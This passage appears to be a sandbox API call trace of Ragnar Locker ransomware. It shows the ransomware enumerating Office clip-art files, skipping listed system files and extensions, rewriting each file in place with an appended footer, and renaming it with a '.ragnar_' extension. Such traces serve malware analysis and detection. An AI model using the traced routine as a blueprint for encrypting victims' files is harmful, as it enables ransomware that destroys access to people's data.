lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.279] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.279] GetProcessHeap () returned 0x580000 [0080.279] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.279] CloseHandle (hObject=0xf4) returned 1 [0080.279] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" [0080.279] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.ragnar_FD7BD9FC" [0080.279] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.280] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0080.280] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.280] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD19828_.WMF" | out: lpString1="BD19828_.WMF") returned="BD19828_.WMF" [0080.280] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned=".WMF" [0080.280] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.280] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="autorun.inf") returned 1 [0080.280] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="boot.ini") returned -1 [0080.280] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="bootfont.bin") returned -1 [0080.280] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="bootsect.bak") returned -1 [0080.280] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="bootmgr") returned -1 [0080.280] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="bootmgr.efi") returned -1 [0080.280] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.280] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="desktop.ini") returned -1 [0080.280] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="iconcache.db") returned -1 [0080.281] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="ntldr") returned -1 [0080.281] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="ntuser.dat") returned -1 [0080.281] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.281] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="ntuser.ini") returned -1 [0080.281] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="thumbs.db") returned -1 [0080.281] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.281] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.281] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.281] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.281] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.281] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.281] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0080.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.281] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8772) returned 1 [0080.281] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x223b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.281] GetProcessHeap () returned 0x580000 [0080.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.281] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.283] VirtualAlloc (lpAddress=0x0, dwSize=0x2244, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.283] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.283] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.283] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2244, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2244, lpOverlapped=0x0) returned 1 [0080.284] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.284] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2244, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.284] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2244, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2244, lpOverlapped=0x0) returned 1 [0080.285] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2244, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.285] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.285] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.285] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.285] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.285] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.285] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.285] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.285] GetProcessHeap () returned 0x580000 [0080.285] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.285] CloseHandle (hObject=0xf4) returned 1 [0080.285] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" [0080.285] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.ragnar_FD7BD9FC" [0080.286] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.286] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0080.286] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.286] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD19986_.WMF" | out: lpString1="BD19986_.WMF") returned="BD19986_.WMF" [0080.286] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned=".WMF" [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="autorun.inf") returned 1 [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="boot.ini") returned -1 [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="bootfont.bin") returned -1 [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="bootsect.bak") returned -1 [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="bootmgr") returned -1 [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="bootmgr.efi") returned -1 [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="desktop.ini") returned -1 [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="iconcache.db") returned -1 [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="ntldr") returned -1 [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="ntuser.dat") returned -1 [0080.286] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.287] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="ntuser.ini") returned -1 [0080.287] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="thumbs.db") returned -1 [0080.287] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.287] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.287] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.287] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.287] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.287] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.287] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0080.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.287] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14486) returned 1 [0080.287] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x388d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.287] GetProcessHeap () returned 0x580000 [0080.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.287] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.289] VirtualAlloc (lpAddress=0x0, dwSize=0x3896, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.289] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.289] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.289] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3896, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3896, lpOverlapped=0x0) returned 1 [0080.290] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.290] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3896, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.290] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3896, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3896, lpOverlapped=0x0) returned 1 [0080.290] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3896, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.290] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.291] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3896, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.291] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.291] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.291] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.291] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.291] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.291] GetProcessHeap () returned 0x580000 [0080.291] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.291] CloseHandle (hObject=0xf4) returned 1 [0080.291] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" [0080.291] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.ragnar_FD7BD9FC" [0080.291] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.292] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0080.292] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.292] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD19988_.WMF" | out: lpString1="BD19988_.WMF") returned="BD19988_.WMF" [0080.292] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned=".WMF" [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="autorun.inf") returned 1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="boot.ini") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="bootfont.bin") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="bootsect.bak") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="bootmgr") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="bootmgr.efi") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="desktop.ini") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="iconcache.db") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="ntldr") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="ntuser.dat") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="ntuser.ini") returned -1 [0080.292] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="thumbs.db") returned -1 [0080.292] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.292] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.292] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.292] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.292] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.292] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.292] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0080.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.293] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18304) returned 1 [0080.293] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4777, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.293] GetProcessHeap () returned 0x580000 [0080.293] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.293] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.294] VirtualAlloc (lpAddress=0x0, dwSize=0x4780, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.295] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.295] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.295] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4780, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4780, lpOverlapped=0x0) returned 1 [0080.296] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.296] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4780, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.296] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4780, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4780, lpOverlapped=0x0) returned 1 [0080.296] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4780, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.296] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.297] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4780, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.297] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.297] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.297] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.297] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.297] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.297] GetProcessHeap () returned 0x580000 [0080.297] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.297] CloseHandle (hObject=0xf4) returned 1 [0080.297] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" [0080.297] lstrcatW (in: 